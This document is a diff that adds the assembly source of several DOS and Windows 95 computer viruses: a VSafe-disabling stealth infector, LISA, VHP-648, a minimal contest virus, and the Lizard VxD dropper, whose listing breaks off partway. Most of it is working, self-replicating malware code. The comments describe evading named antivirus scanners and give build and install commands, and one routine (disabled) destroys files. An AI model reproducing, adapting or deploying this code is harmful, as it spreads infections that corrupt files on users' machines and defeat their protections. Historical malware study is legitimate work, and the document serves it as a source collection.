cmp byte ptr cs:[action_dia+bp],32 ;
|
||||
jne no_day ;
|
||||
cont: ;
|
||||
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
|
||||
je set ;
|
||||
cmp byte ptr cs:[action_mes+bp],13 ;
|
||||
jne NO_DAY ;nop! fuck ret
|
||||
set: ;
|
||||
mov AH,9 ;yeah!!
|
||||
MOV DX,OFFSET PAO ;print my text!
|
||||
INT 21H ;now!
|
||||
INT 20H ;an finsh te program
|
||||
NO_DAY: ;label to incorrect date
|
||||
ret ;return from call
|
||||
;---------------------------------
|
||||
|
||||
ÿ
|
||||
PAO:
|
||||
DB 10,13,'Dedicated to Liana. 20 May 96','$'
|
||||
|
||||
;---------------------------------
|
||||
ANTI_V: ;
|
||||
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
|
||||
MOV DX,5945H ;
|
||||
INT 21H ;
|
||||
ret ;
|
||||
;---------------------------------
|
||||
|
||||
ÿ;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 014H ;day for the action
|
||||
action_mes Db 05H ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,192 @@
|
||||
; Virusname: LISA
|
||||
; Origin: Sweden
|
||||
; Author: Metal Militia
|
||||
; Date: 24/12/1994
|
||||
;
|
||||
; This virus can't be found with any anti-virus program (of the below
|
||||
; that is) SCAN/TB-SCAN/F-PROT/SOLOMON. This because of that it's totally
|
||||
; new written.
|
||||
;
|
||||
; It's a non-resident, encrypted, .com infector that spread with the
|
||||
; "dot-dot" method. No damage is made, and no message is shown, but
|
||||
; inside the code you can find some love greetings to the flower in
|
||||
; my heart, Lisa Olsson. This was written on the christmas eve, as a
|
||||
; 'happy new year' greeting to her, then especially for '94, but
|
||||
; also for all other coming years.
|
||||
;
|
||||
; I may continue on thisone and make more and better versions.
|
||||
; PS!, to tasm this virus, write: tasm /m3 lisa.asm, then just
|
||||
; link it to a .com file by writing: tlink /t lisa.obj.
|
||||
|
||||
|
||||
Lisavirus segment
|
||||
Assume CS:LisaVirus
|
||||
Org 100h ; account for PSP
|
||||
|
||||
Start: db 0e9h ; jmp duh ; Jump to duh
|
||||
dw 0
|
||||
|
||||
duh: call next
|
||||
next: pop bp ; bp holds current location
|
||||
sub bp, offset next ; calculate net change
|
||||
jmp go_for_it
|
||||
|
||||
go_for_it:
|
||||
call encrypt_decrypt ; encrypt/decrypt it..
|
||||
|
||||
jmp restore ; jump to the real "start".
|
||||
|
||||
write_virus:
|
||||
mov word ptr [bp+crypt_val],30h ; Here we use the enc_value
|
||||
call encrypt_decrypt ; call encrypt/decrypt
|
||||
mov cx, eov - duh ; Write the virus
|
||||
lea dx, [bp+duh]
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call encrypt_decrypt ; call encrypt/decrypt (again, just like the text says)
|
||||
ret ; ret(urn) to the "caller"
|
||||
|
||||
crypt_val dw 0 ; encryption value
|
||||
|
||||
encrypt_decrypt:
|
||||
mov ax,word ptr [bp+crypt_val] ; the encrypt/decrypt rountine
|
||||
lea si,[bp+encrypt_start]
|
||||
mov cx,(eov-duh+1)/2
|
||||
again:
|
||||
xor word ptr [si],ax ; XOR's kicking it :)
|
||||
inc si
|
||||
inc si
|
||||
loop again ; loop it all
|
||||
ret ; ret(urn) to caller
|
||||
|
||||
encrypt_start: ; start of encryption
|
||||
restore:
|
||||
lea si, [bp+offset stuff] ; Restore the beginning
|
||||
mov di, 100h ; (see stuff, the buffer)
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
|
||||
lea dx, [bp+offset dta] ; Set the DTA
|
||||
call set_dta
|
||||
|
||||
mov ah,47h ; Get the current directory (will be restored lateron)
|
||||
xor dl,dl
|
||||
lea si,[bp+eov+2ch]
|
||||
int 21h
|
||||
|
||||
findfirst:
|
||||
mov ah, 4eh ; Find first
|
||||
lea dx, [bp+masker] ; search for '*.COM',0
|
||||
tryanother:
|
||||
int 21h
|
||||
jc chdir ; Quit on error
|
||||
|
||||
mov ax, 3D02h ; Open the file
|
||||
lea dx, [bp+offset dta+30] ; File name is located in DTA
|
||||
int 21h
|
||||
xchg ax, bx ; instead on mov bx,ax.. one byte saved :)
|
||||
|
||||
mov ax,5700h ; Take the file's time
|
||||
int 21h
|
||||
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov cx, 3 ; Read in the first three bytes
|
||||
lea dx, [bp+stuff]
|
||||
mov ah, 3fh
|
||||
int 21h
|
||||
; Check if already infected
|
||||
mov cx, word ptr [bp+stuff+1] ; jmp location
|
||||
mov ax, word ptr [bp+dta+26]
|
||||
add cx, eov - duh + 3 ; convert to filesize
|
||||
cmp ax, cx ; if same, already infected
|
||||
jz close ; so quit out of here
|
||||
|
||||
sub ax, 3 ; ax = filesize - 3
|
||||
mov word ptr [bp+writebuffer], ax
|
||||
|
||||
xor al, al ; Go to the beginning
|
||||
call f_ptr
|
||||
|
||||
mov cx, 3 ; Write three bytes
|
||||
lea dx, [bp+e9]
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
|
||||
mov al, 2 ; Go to the end
|
||||
call f_ptr
|
||||
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
|
||||
mov word ptr [bp+crypt_val],dx
|
||||
|
||||
call write_virus
|
||||
|
||||
close:
|
||||
pop dx
|
||||
pop cx
|
||||
|
||||
mov ax,5701h ; Restore the files time
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Close the file
|
||||
int 21h
|
||||
|
||||
; Try infecting another file
|
||||
mov ah, 4fh ; Find next, try to infect
|
||||
jmp short tryanother ; another file.
|
||||
|
||||
chdir:
|
||||
mov ah,3bh ; Change up one dir
|
||||
lea dx,[bp+offset newdir]
|
||||
int 21h
|
||||
jc quit
|
||||
|
||||
jmp findfirst
|
||||
|
||||
quit:
|
||||
real_quit:
|
||||
lea dx,[bp+eov+2ch] ; Restore the DIR
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
|
||||
fix_it:
|
||||
mov dx, 80h ; Restore the DTA to the
|
||||
; default
|
||||
set_dta:
|
||||
mov ah, 1ah ; Set the disk transfer
|
||||
int 21h ; address
|
||||
|
||||
exit:
|
||||
retn ; Return to org. program
|
||||
f_ptr: mov ah, 42h
|
||||
xor cx, cx
|
||||
cwd ; equal to xor dx,dx or the
|
||||
int 21h ; other style, sub dx,dx
|
||||
retn
|
||||
|
||||
db 'love.girl.LISA.forever.666 ' ;
|
||||
db '(c) Metal Militia / Immortal Riot '
|
||||
db 'Sweden 24/12/93 ' ; the Date of finish, christmas eve
|
||||
db 'Thunderclouds pass the sky, dreams & thoughts '
|
||||
db 'goes thrue my mind.. winds of love, floods of '
|
||||
db "hope, until the day, when you'll be mine!.... "
|
||||
db 'Dedicated to Lisa Olsson who will always be my passion '
|
||||
db 'my obsession and my infinite dream. All i ever wanted, '
|
||||
db 'all i ever asked for. Happy new year, yours Metal..... '
|
||||
|
||||
newdir db '..',0 ; needed to move up one dir (dot-dot method)
|
||||
masker db '*.com',0 ; filetype to infect, .com-files
|
||||
greets db 'Greets to Raver and The Unforgiven/IR' ; greets to my
|
||||
; friends
|
||||
stuff db 0cdh, 20h, 0 ; original three bytes saved here
|
||||
e9 db 0e9h ; the jmp
|
||||
eov equ $ ; end of virus/encryption
|
||||
writebuffer dw ? ; Scratch area for the JMP
|
||||
; offset holding.
|
||||
dta db 42 dup (?) ; the DTA thingy (42 dup)
|
||||
LisaVirus ENDS
|
||||
END Start
|
||||
@@ -0,0 +1,331 @@
|
||||
name Virus
|
||||
title Disassembly listing of the VHP-648 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
environ equ 2C
|
||||
|
||||
start:
|
||||
jmp virus
|
||||
|
||||
message db 'Hello, world!$'
|
||||
|
||||
mov ah,9
|
||||
mov dx,offset message
|
||||
int 21
|
||||
int 20
|
||||
|
||||
virus:
|
||||
push cx ;Save CX
|
||||
|
||||
mov dx,offset data ;Restore original first instruction
|
||||
modify equ $-2 ;The instruction above is changed
|
||||
; before each contamination
|
||||
cld
|
||||
mov si,dx
|
||||
add si,saveins-data ;Instruction saved there
|
||||
mov di,offset start
|
||||
mov cx,3 ;Move 3 bytes
|
||||
rep movsb ;Do it
|
||||
mov si,dx ;Keep SI pointed at data
|
||||
|
||||
mov ah,30 ;Get DOS version
|
||||
int 21
|
||||
cmp al,0 ;Less than 2.0?
|
||||
jne skip1
|
||||
jmp exit ;Exit if so
|
||||
|
||||
skip1:
|
||||
push es ;Save ES
|
||||
mov ah,2F ;Get current DTA in ES:BX
|
||||
int 21
|
||||
mov word ptr [si+0],bx ;dtaadr
|
||||
mov word ptr [si+2],es
|
||||
pop es ;Restore ES
|
||||
|
||||
mov dx,mydta-data
|
||||
add dx,si
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
push es ;Save ES & SI
|
||||
push si
|
||||
mov es,ds:[environ] ;Environment address
|
||||
mov di,0
|
||||
n_00015A: ;Search 'PATH=' in the environment
|
||||
pop si ;Restore data offset in SI
|
||||
push si
|
||||
add si,pathstr-data
|
||||
lodsb
|
||||
mov cx,8000 ;Maximum 32K in environment
|
||||
repne scasb ;Search for first letter ('P')
|
||||
mov cx,4 ;4 letters in 'PATH'
|
||||
n_000169:
|
||||
lodsb ;Search for next char
|
||||
scasb
|
||||
jne n_00015A ;If not found, search for next 'P'
|
||||
loop n_000169 ;Loop until done
|
||||
pop si ;Restore SI & ES
|
||||
pop es
|
||||
|
||||
mov [si+16],di ;Save 'PATH' offset in poffs
|
||||
mov di,si
|
||||
add di,fname-data ;Point SI & DI at '=' sign
|
||||
mov bx,si ;Point BX at data area
|
||||
add si,fname-data
|
||||
mov di,si
|
||||
jmp short n_0001BF
|
||||
|
||||
n_000185:
|
||||
cmp word ptr [si+16],6C ;poffs
|
||||
jne n_00018F
|
||||
jmp olddta
|
||||
n_00018F:
|
||||
push ds
|
||||
push si
|
||||
mov ds,es:[environ]
|
||||
mov di,si
|
||||
mov si,es:[di+16] ;poffs
|
||||
add di,fname-data
|
||||
n_0001A1:
|
||||
lodsb
|
||||
cmp al,';'
|
||||
je n_0001B0
|
||||
cmp al,0
|
||||
je n_0001AD
|
||||
stosb
|
||||
jmp n_0001A1
|
||||
n_0001AD:
|
||||
mov si,0
|
||||
n_0001B0:
|
||||
pop bx
|
||||
pop ds
|
||||
mov [bx+16],si ;poffs
|
||||
cmp byte ptr [di-1],'\'
|
||||
je n_0001BF
|
||||
mov al,'\' ;Add '\' if not already present
|
||||
stosb
|
||||
|
||||
n_0001BF:
|
||||
mov [bx+18],di ;Save '=' offset in eqoffs
|
||||
mov si,bx ;Restore data pointer in SI
|
||||
add si,allcom-data
|
||||
mov cx,6 ;6 bytes in ASCIIZ '*.COM'
|
||||
rep movsb ;Move '*.COM' at fname
|
||||
mov si,bx ;Restore SI
|
||||
|
||||
mov ah,4E ;Find first file
|
||||
mov dx,fname-data
|
||||
add dx,si
|
||||
mov cx,11b ;Hidden, Read/Only or Normal files
|
||||
int 21
|
||||
jmp short n_0001E3
|
||||
|
||||
findnext:
|
||||
mov ah,4F ;Find next file
|
||||
int 21
|
||||
n_0001E3:
|
||||
jnc n_0001E7 ;If found, try to contaminate it
|
||||
jmp n_000185 ;Otherwise search in another directory
|
||||
|
||||
n_0001E7:
|
||||
mov ax,[si+75] ;Check file time
|
||||
and al,11111b ; (the seconds, more exactly)
|
||||
cmp al,62d/2 ;Are they 62?
|
||||
|
||||
;If so, file is already contains the virus, search for another:
|
||||
|
||||
je findnext
|
||||
cmp [si+79],64000d ;Is file size greather than 64,000 bytes?
|
||||
ja findnext ;If so, search for next file
|
||||
cmp word ptr [si+79],10d ;Is file size less than 10 bytes?
|
||||
jb findnext ;If so, search for next file
|
||||
|
||||
mov di,[si+18] ;eqoffs
|
||||
push si ;Save SI
|
||||
add si,namez-data ;Point SI at namez
|
||||
n_000209:
|
||||
lodsb
|
||||
stosb
|
||||
cmp al,0
|
||||
jne n_000209
|
||||
|
||||
pop si ;Restore SI
|
||||
mov ax,4300 ;Get file attributes
|
||||
mov dx,fname-data
|
||||
add dx,si
|
||||
int 21
|
||||
|
||||
mov [si+8],cx ;Save them in fattrib
|
||||
mov ax,4301 ;Set file attributes
|
||||
|
||||
;The next `db's are there because MASM can't assemble
|
||||
; the instruction `and cx,0FFFE' correctly (the fool!):
|
||||
|
||||
db 081,0E1,0FE,0FF
|
||||
; and cx,not 1 ;Turn off Read Only flag
|
||||
mov dx,fname-data
|
||||
add dx,si
|
||||
int 21
|
||||
|
||||
mov ax,3D02 ;Open file with Read/Write access
|
||||
mov dx,fname-data
|
||||
add dx,si
|
||||
int 21
|
||||
jnc n_00023E
|
||||
jmp oldattr ;Exit on error
|
||||
|
||||
n_00023E:
|
||||
mov bx,ax ;Save file handle in BX
|
||||
mov ax,5700 ;Get file date & time
|
||||
int 21
|
||||
mov [si+4],cx ;Save time in ftime
|
||||
mov [si+6],dx ;Save date in fdate
|
||||
|
||||
mov ah,2C ;Get system time
|
||||
int 21
|
||||
and dh,111b ;Are seconds a multiple of 8?
|
||||
|
||||
;If so, destroy file (don't contaminate). Now this code is disabled.
|
||||
|
||||
jmp short n_000266 ;CHANGED. Was jnz here
|
||||
|
||||
;Destroy file by rewriting an illegal jmp as first instruction:
|
||||
|
||||
mov ah,40 ;Write to file handle
|
||||
mov cx,5 ;Write 5 bytes
|
||||
mov dx,si
|
||||
add dx,bad_jmp-data ;Write THESE bytes
|
||||
int 21 ;Do it
|
||||
jmp short oldtime ;Exit
|
||||
|
||||
;Try to contaminate file:
|
||||
|
||||
;Read first instruction of the file (first 3 bytes) and save it in saveins:
|
||||
|
||||
n_000266:
|
||||
mov ah,3F ;Read from file handle
|
||||
mov cx,3 ;Read 3 bytes
|
||||
mov dx,saveins-data ;Put them there
|
||||
add dx,si
|
||||
int 21
|
||||
jc oldtime ;Exit on error
|
||||
cmp ax,3 ;Are really 3 bytes read?
|
||||
jne oldtime ;Exit if not
|
||||
|
||||
;Move file pointer to end of file:
|
||||
|
||||
mov ax,4202 ;LSEEK from end of file
|
||||
mov cx,0 ;0 bytes from end
|
||||
mov dx,0
|
||||
int 21
|
||||
jc oldtime ;Exit on error
|
||||
|
||||
mov cx,ax ;Get the value of file pointer
|
||||
sub ax,3 ;Subtract 3 from it to get real code size
|
||||
mov [si+14d],ax ;Save result in filloc
|
||||
add cx,data-(virus-100)
|
||||
mov di,si
|
||||
sub di,data-modify ;A little self-modification
|
||||
mov [di],cx
|
||||
|
||||
mov ah,40 ;Write to file handle
|
||||
mov cx,enddata-virus ;Virus code length as bytes to be written
|
||||
mov dx,si
|
||||
sub dx,data-virus ;Now DX points at virus label
|
||||
int 21
|
||||
jc oldtime ;Exit on error
|
||||
cmp ax,enddata-virus ;Are all bytes written?
|
||||
jne oldtime ;Exit if not
|
||||
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
mov cx,0 ;Just at the file beginning
|
||||
mov dx,0
|
||||
int 21
|
||||
jc oldtime ;Exit on error
|
||||
|
||||
;Rewrite the first instruction of the file with a jump to the virus code:
|
||||
|
||||
mov ah,40 ;Write to file handle
|
||||
mov cx,3 ;3 bytes to write
|
||||
mov dx,si
|
||||
add dx,newjmp-data ;Write THESE bytes
|
||||
int 21
|
||||
|
||||
oldtime:
|
||||
mov dx,[si+6] ;Restore file date
|
||||
mov cx,[si+4] ; and time
|
||||
|
||||
;And these again are due to the MASM 5.0 foolness:
|
||||
|
||||
db 081,0E1,0E0,0FF
|
||||
db 081,0C9,01F,000
|
||||
; and cx,not 11111b
|
||||
; or cx,11111b ;Set seconds to 62 (?!)
|
||||
|
||||
mov ax,5701 ;Set file date & time
|
||||
int 21
|
||||
mov ah,3E ;Close file handle
|
||||
int 21
|
||||
|
||||
oldattr:
|
||||
mov ax,4301 ;Set file attributes
|
||||
mov cx,[si+8] ;They were saved in fattrib
|
||||
mov dx,fname-data
|
||||
add dx,si
|
||||
int 21
|
||||
|
||||
olddta:
|
||||
push ds ;Save DS
|
||||
mov ah,1A ;Set DTA
|
||||
mov dx,[si+0] ;Restore saved DTA
|
||||
mov ds,[si+2]
|
||||
int 21
|
||||
pop ds ;Restore DS
|
||||
|
||||
exit:
|
||||
pop cx ;Restore CX
|
||||
xor ax,ax ;Clear registers
|
||||
xor bx,bx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
mov di,100 ;Jump to CS:100
|
||||
push di ; by doing funny RET
|
||||
xor di,di
|
||||
ret -1
|
||||
|
||||
data label byte ;Data section
|
||||
dtaaddr dd ? ;Disk Transfer Address
|
||||
ftime dw ? ;File date
|
||||
fdate dw ? ;File time
|
||||
fattrib dw ? ;File attribute
|
||||
saveins db 0EBh,0Fh,90 ;Original first 3 bytes
|
||||
newjmp db 0E9 ;Code of jmp instruction
|
||||
filloc dw ? ;File pointer is saved here
|
||||
allcom db '*.COM',0 ;Filespec to search for
|
||||
poffs dw ? ;Address of 'PATH' string
|
||||
eqoffs dw ? ;Address of '=' sign
|
||||
pathstr db 'PATH='
|
||||
fname db 40 dup (' ') ;Path name to search for
|
||||
|
||||
;Disk Transfer Address for Find First / Find Next:
|
||||
|
||||
mydta label byte
|
||||
drive db ? ;Drive to search for
|
||||
pattern db 13d dup (?) ;Search pattern
|
||||
reserve db 7 dup (?) ;Not used
|
||||
attrib db ? ;File attribute
|
||||
time dw ? ;File time
|
||||
date dw ? ;File date
|
||||
fsize dd ? ;File size
|
||||
namez db 13d dup (?) ;File name found
|
||||
|
||||
;This replaces the first instruction of a destroyed file:
|
||||
|
||||
bad_jmp db 0EA,0Bh,2,13,58
|
||||
enddata label byte
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
;A small (139 byte) virus with minimal required functionality.
|
||||
|
||||
;This Virus for research purposes only. Please do not release!
|
||||
;Please execute it only on a carefully controlled system, and only
|
||||
;if you know what you're doing!
|
||||
|
||||
;An example for
|
||||
|
||||
;#######################################################
|
||||
;# THE FIRST INTERNATIONAL VIRUS WRITING CONTEST #
|
||||
;# 1 9 9 3 #
|
||||
;# sponsored by #
|
||||
;# American Eagle Publications, Inc. #
|
||||
;#######################################################
|
||||
|
||||
;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
|
||||
;Link as "TLINK /T LITTLE;"
|
||||
|
||||
;Basic explanation of how this virus works:
|
||||
;
|
||||
;The virus takes control when the program first starts up. All of its code is
|
||||
;originally located at the start of a COM file that has been infected. When
|
||||
;the virus starts, it takes over a segment 64K above the one where the program
|
||||
;was loaded by DOS. It copies itself up there, and then searches for an
|
||||
;uninfected file. To determine if a file is infected, it checks the first two
|
||||
;bytes to see if they are the same as its first two bytes. It reads the file
|
||||
;into memory right above where it is sitting (at 100H in the upper segment).
|
||||
;If not already infected, it just writes itself plus the file it infected back
|
||||
;out to disk under the same file name. Then it moves the host in the lower
|
||||
;segment back to offset 100H and executes it.
|
||||
|
||||
|
||||
.model tiny ;Tiny model to create a COM file
|
||||
|
||||
.code
|
||||
|
||||
;DTA definitions
|
||||
DTA EQU 0000H ;Disk transfer area
|
||||
FSIZE EQU DTA+1AH ;file size location in file search
|
||||
FNAME EQU DTA+1EH ;file name location in file search
|
||||
|
||||
|
||||
ORG 100H
|
||||
|
||||
;******************************************************************************
|
||||
;The virus starts here.
|
||||
|
||||
VIRSTART:
|
||||
mov ax,ds
|
||||
add ax,1000H
|
||||
mov es,ax ;upper segment is this one + 1000H
|
||||
mov si,100H ;put virus in the upper segment
|
||||
mov di,si ;at offset 100H
|
||||
; mov cl,BYTE (OFFSET HOST AND 0FFH) ;can't code this with TASM
|
||||
mov cl,8BH ;we can assume ch=0
|
||||
rep movsb ;this will louse the infection up if run under debug!
|
||||
mov ds,ax ;set ds to high segment
|
||||
push ds
|
||||
mov ax,OFFSET FIND_FILE
|
||||
push ax
|
||||
retf ;jump to high memory segment
|
||||
|
||||
;Now it's time to find a viable file to infect. We will look for any COM file
|
||||
;and see if the virus is there already.
|
||||
FIND_FILE:
|
||||
xor dx,dx ;move dta to high segment
|
||||
mov ah,1AH ;so we don't trash the command line
|
||||
int 21H ;which the host is expecting
|
||||
mov dx,OFFSET COMFILE
|
||||
mov ch,3FH ;search for any file, no matter what attribute (note: cx=0 before this instr)
|
||||
mov ah,4EH ;DOS search first function
|
||||
int 21H
|
||||
CHECK_FILE: jc ALLDONE ;no COM files to infect
|
||||
|
||||
mov dx,FNAME ;first open the file
|
||||
mov ax,3D02H ;r/w access open file, since we'll want to write to it
|
||||
int 21H
|
||||
jc NEXT_FILE ;error opening file - quit and say this file can't be used
|
||||
mov bx,ax ;put file handle in bx, and leave it there for the duration
|
||||
|
||||
mov di,FSIZE
|
||||
mov cx,[di] ;get file size for reading into buffer
|
||||
mov dx,si ;and read file in at HOST in new segment (note si=OFFSET HOST)
|
||||
mov ah,3FH ;DOS read function
|
||||
int 21H
|
||||
mov ax,[si] ;si=OFFSET HOST here
|
||||
jc NEXT_FILE ;skip file if error reading it
|
||||
|
||||
cmp ax,WORD PTR [VIRSTART] ;see if infected already
|
||||
jnz INFECT_FILE ;nope, go do it
|
||||
|
||||
mov ah,3EH ;else close the file
|
||||
int 21H ;and fall through to search for another file
|
||||
|
||||
NEXT_FILE: mov ah,4FH ;look for another file
|
||||
int 21H
|
||||
jmp SHORT CHECK_FILE ;and go check it out
|
||||
|
||||
COMFILE DB '*.COM',0
|
||||
|
||||
;When we get here, we've opened a file successfully, and read it into memory.
|
||||
;In the high segment, the file is set up exactly as it will look when infected.
|
||||
;Thus, to infect, we just rewrite the file from the start, using the image
|
||||
;in the high segment.
|
||||
INFECT_FILE:
|
||||
xor cx,cx
|
||||
mov dx,cx ;reset file pointer to start of file
|
||||
mov ax,4200H
|
||||
int 21H
|
||||
|
||||
mov ah,40H
|
||||
mov dx,100H
|
||||
mov cx,WORD PTR [di] ;adjust size of file for infection
|
||||
add cx,OFFSET HOST - 100H
|
||||
int 21H ;write infected file
|
||||
|
||||
mov ah,3EH ;close the file
|
||||
int 21H
|
||||
|
||||
;The infection process is now complete. This routine moves the host program
|
||||
;down so that its code starts at offset 100H, and then transfers control to it.
|
||||
ALLDONE:
|
||||
mov ax,ss ;set ds, es to low segment again
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
push ax ;prep for retf to host
|
||||
shr dx,1 ;restore dta to original value
|
||||
mov ah,1AH ;for compatibility
|
||||
int 21H
|
||||
mov di,100H ;prep to move host back to original location
|
||||
push di
|
||||
; mov cx,sp ;move code, but don't trash the stack
|
||||
; sub cx,si
|
||||
mov cx,0FE6FH ;hand code the above to save a byte
|
||||
rep movsb ;move code
|
||||
retf ;and return to host
|
||||
|
||||
;******************************************************************************
|
||||
;The host program starts here. This one is a dummy that just returns control
|
||||
;to DOS.
|
||||
|
||||
HOST:
|
||||
mov ax,4C00H ;Terminate, error code = 0
|
||||
int 21H
|
||||
|
||||
HOST_END:
|
||||
|
||||
END VIRSTART
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,626 @@
|
||||
;-----------------------------------------------------------------------------
|
||||
;Lizard by Reptile/29A (another version ;)
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
|
||||
;This is an encrypted vxd direct action dos exe infector (I added some anti-
|
||||
;heuristics and other stuff and optimized the code of v1.0).
|
||||
|
||||
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
|
||||
;available one of the three dirs and then returns back to the host. After the
|
||||
;next reboot...
|
||||
|
||||
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
|
||||
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
|
||||
;or the registry). Then the virus takes control and hooks the V86 interrupt
|
||||
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
|
||||
;and on find first file (4eh) using direct action techniques to infect all
|
||||
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
|
||||
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
|
||||
;bytes.
|
||||
|
||||
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
|
||||
;detect it (all for win95).
|
||||
|
||||
;Compiling lzd.vxd (win95 DDK):
|
||||
;makefile
|
||||
|
||||
;Compiling rmlzd.inc:
|
||||
;tasm /m2 rmlzd.asm
|
||||
;tlink /t rmlzd.obj
|
||||
;file2db rmlzd.com (or another db generator)
|
||||
;modify rmlzd.dat
|
||||
|
||||
;To install copy lzd.vxd to one of the following dirs:
|
||||
;- c:\windows\system\iosubsys
|
||||
;- c:\win95\system\iosubsys
|
||||
;- c:\windows.000\system\iosubsys
|
||||
;...or start lizard.exe :)
|
||||
|
||||
;P.S.:
|
||||
;Sandy: are u lucky now? ;)
|
||||
;Jacky: thanx for testing it!
|
||||
;GriYo: the stack stuff really didn't work :P
|
||||
|
||||
;P.P.S:
|
||||
;TrY MaGiC MuShRoOmS...
|
||||
|
||||
;---[LZD.ASM]-----------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
|
||||
.xlist
|
||||
include vmm.inc
|
||||
.list
|
||||
|
||||
vxdhsize equ 701
|
||||
vxddsize equ 81
|
||||
vxdcsize equ 880
|
||||
esize equ encend - encstart
|
||||
vsize equ vend - start
|
||||
|
||||
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
|
||||
Undefined_Init_Order,,
|
||||
|
||||
VxD_Locked_Data_Seg
|
||||
wcard db '*.e?e',0 ;*.l?z
|
||||
include rmlzd.inc ;realmode code
|
||||
dflag db 0
|
||||
pflag db 0
|
||||
ndta db 43 dup (?)
|
||||
header db 26 dup (?)
|
||||
VxD_Locked_Data_Ends
|
||||
;-----------------------------------------------------------------------------
|
||||
VxD_Locked_Code_Seg
|
||||
BeginProc LZD_Device_Init
|
||||
;trigger
|
||||
mov ah,2ah ;get date
|
||||
vxdint 21h
|
||||
;live drazil si
|
||||
cmp dh,10 ;26.10.?
|
||||
jne npload
|
||||
cmp dl,26
|
||||
jne npload
|
||||
|
||||
mov pflag,1 ;hehe
|
||||
|
||||
npload:
|
||||
mov eax,21h ;install int 21h handler
|
||||
mov esi,offset32 int21h
|
||||
VMMcall Hook_V86_Int_Chain
|
||||
clc
|
||||
ret
|
||||
EndProc LZD_Device_Init
|
||||
;-----------------------------------------------------------------------------
|
||||
BeginProc int21h
|
||||
cmp [ebp.Client_AH],4bh ;exec
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],3ch ;create
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],6ch ;ext. open
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],3eh ;close
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],4eh ;find first
|
||||
je short ww
|
||||
jmp prevhook
|
||||
|
||||
ww:
|
||||
Push_Client_State ;save regs
|
||||
VMMcall Begin_Nest_Exec
|
||||
;-----------------------------------------------------------------------------
|
||||
cmp dflag,1
|
||||
je done
|
||||
mov ax,3d02h ;open lzd.vxd
|
||||
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jnc short rd
|
||||
|
||||
mov ax,3d02h ;open the vxd
|
||||
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jnc short rd
|
||||
|
||||
mov ax,3d02h ;open the vxd
|
||||
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jc ecsit ;skip it
|
||||
|
||||
rd:
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh ;store the header of the vxd
|
||||
mov cx,vxdhsize
|
||||
